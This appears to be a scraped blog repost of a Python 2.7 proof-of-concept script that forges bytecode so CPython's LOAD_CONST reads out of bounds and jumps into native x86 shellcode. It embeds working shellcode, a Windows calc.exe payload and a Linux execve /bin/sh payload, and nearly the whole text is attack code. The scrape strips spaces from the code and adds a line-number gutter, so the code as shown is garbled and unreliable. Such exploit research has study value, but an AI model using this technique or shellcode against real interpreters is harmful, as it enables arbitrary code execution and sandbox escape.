Quantcast
Channel: BOT24
Viewing all articles
Browse latest Browse all 8064

How you can abuse the Python VM to execute x86 codes for fun

$
0
0

 file 129 lines (106 sloc) 5.189 kb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128

#!/usr/bin/env python


# -*- coding: utf-8 -*-




#


# abuse_python27_vm_to_execute_x86_code.py - Python 2.7 opcodes & x86 shellcodes = funz


# Copyright (C) 2013 Axel "0vercl0k" Souchet - http://www.twitter.com/0vercl0k


#


# This program is free software: you can redistribute it and/or modify


# it under the terms of the GNU General Public License as published by


# the Free Software Foundation, either version 3 of the License, or


# (at your option) any later version.


#


# This program is distributed in the hope that it will be useful,


# but WITHOUT ANY WARRANTY; without even the implied warranty of


# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the


# GNU General Public License for more details.


#


# You should have received a copy of the GNU General Public License


# along with this program. If not, see <http://www.gnu.org/licenses/>.


#




# https://twitter.com/elvanderb/status/162551396015669248 -- Challenge accepted mate!




importstruct


importtypes


importopcode


importplatform


importsys




defpack_ushort(us):


    returnstruct.pack('<H',us)




defpack_uint(ui):


    returnstruct.pack('<I',ui)




defget_opcode(o):


    returnchr(opcode.opmap[o])




defexec_x86_shellcodes_via_python27_opcodes_(addr_x86_code):


    """Execute native x86 code abusing the Python VM"""




    defpull_the_trigger_b1tch():


        """Pull the trigger motherfucker"""


        pass




    const_tuple=()


    addr_const_tuple=id(const_tuple)




    first_indirection='A'*0x40+pack_uint(addr_x86_code)


    addr_first_indirection=id(first_indirection)


    addr_first_indirection_controled_data=addr_first_indirection+0x14




    fake_object='AAAA'+pack_uint(addr_first_indirection_controled_data)


    addr_fake_object=id(fake_object)


    addr_fake_object_controled=addr_fake_object+0x14




    # In LOAD_CONST:


    # CPU Disasm


    # Address Hex dump Command Comments


    # 1E011389 8B4C24 7C MOV ECX,DWORD PTR [ESP+7C]


    # 1E01138D 8B7C99 0C MOV EDI,DWORD PTR [EBX*4+ECX+0C] # EDI will be the 0xdeadbeef


    # 1E011391 8B4424 0C MOV EAX,DWORD PTR [ESP+0C]


    # 1E011395 FF07 INC DWORD PTR [EDI]


    # 1E011397 8938 MOV DWORD PTR [EAX],EDI




    ptr_object=pack_uint(addr_fake_object_controled)


    addr_ptr_object=id(ptr_object)


    addr_ptr_data_controled=addr_ptr_object+0x14




    # Compute the offset


    # Remember:


    # 1E01138D 8B7C99 0C MOV EDI,DWORD PTR [EBX*4+ECX+0C] ; ECX is the address of the const_tuple object, EBX you control!


    assert((addr_ptr_data_controled-addr_const_tuple-0xC)%4==0)




    offset=((addr_ptr_data_controled-addr_const_tuple-0xC)&0xffffffff)/4


    offset_high,offset_low=offset>>16,offset&0xffff




    # 1. Load the low part of our address


    evil_bytecode=get_opcode('EXTENDED_ARG')+pack_ushort(offset_high)


    # 2. Load an object from the const: This is an evil object :]


    evil_bytecode+=get_opcode('LOAD_CONST')+pack_ushort(offset_low)


    # 3. Call the function on the top of stack: The evil function object :]


    evil_bytecode+=get_opcode('CALL_FUNCTION')+'\x00\x00'




    pull_the_trigger_b1tch.func_code=types.CodeType(


        0,


        0,


        0,


        0,


        evil_bytecode,


        const_tuple,


        (),


        (),


        "",


        "",


        0,


        ""


    )




    # and b00m!1§1§1§


    pull_the_trigger_b1tch()




defmain(argc,argv):


    sh=None


    system=platform.system()




    ifsystem=='Windows':


        # Windows/x86 - calc.exe shellcode


        sh='\xda\xc3\xba\x2d\xae\x01\x6b\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x33\x83\xed\xfc\x31\x55\x13\x03\x78\xbd\xe3\x9e\x7e\x29\x6a\x60\x7e\xaa\x0d\xe8\x9b\x9b\x1f\x8e\xe8\x8e\xaf\xc4\xbc\x22\x5b\x88\x54\xb0\x29\x05\x5b\x71\x87\x73\x52\x82\x29\xbc\x38\x40\x2b\x40\x42\x95\x8b\x79\x8d\xe8\xca\xbe\xf3\x03\x9e\x17\x78\xb1\x0f\x13\x3c\x0a\x31\xf3\x4b\x32\x49\x76\x8b\xc7\xe3\x79\xdb\x78\x7f\x31\xc3\xf3\x27\xe2\xf2\xd0\x3b\xde\xbd\x5d\x8f\x94\x3c\xb4\xc1\x55\x0f\xf8\x8e\x6b\xa0\xf5\xcf\xac\x06\xe6\xa5\xc6\x75\x9b\xbd\x1c\x04\x47\x4b\x81\xae\x0c\xeb\x61\x4f\xc0\x6a\xe1\x43\xad\xf9\xad\x47\x30\x2d\xc6\x73\xb9\xd0\x09\xf2\xf9\xf6\x8d\x5f\x59\x96\x94\x05\x0c\xa7\xc7\xe1\xf1\x0d\x83\x03\xe5\x34\xce\x49\xf8\xb5\x74\x34\xfa\xc5\x76\x16\x93\xf4\xfd\xf9\xe4\x08\xd4\xbe\x1b\x43\x75\x96\xb3\x0a\xef\xab\xd9\xac\xc5\xef\xe7\x2e\xec\x8f\x13\x2e\x85\x8a\x58\xe8\x75\xe6\xf1\x9d\x79\x55\xf1\xb7\x19\x38\x61\x5b\xf0\xdf\x01\xfe\x0c'


    elifsystem=='Linux':


        # Linux/x86 - execve /bin/sh - 21 bytes


        sh='\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'


    else:


        sh='\xcc'




    # The string of a PyStringObject is stored at the offset 0x14


    # typedef struct


    # {


    # PyObject_VAR_HEAD


    # long ob_shash;


    # int ob_sstate;


    # char ob_sval[1]; // <- OUR STR1NGZ


    # } PyStringObject;


    address_shellcode=id(sh)+0x14


    exec_x86_shellcodes_via_python27_opcodes_(address_shellcode)




if__name__=='__main__':


    sys.exit(main(len(sys.argv),sys.argv))


Viewing all articles
Browse latest Browse all 8064

Trending Articles